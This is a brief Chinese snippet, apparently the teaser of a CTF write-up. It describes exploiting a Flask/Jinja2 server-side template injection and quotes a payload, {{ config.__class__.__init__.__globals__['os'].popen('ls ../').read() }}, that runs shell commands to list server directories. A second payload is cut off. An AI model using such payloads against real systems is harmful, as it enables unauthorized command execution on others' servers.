摘要： 1. 进入f12，发现并没有什么提示信息，通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录，发现存在一些文件夹: 2.通过{{ config.__class__.__ 阅读全文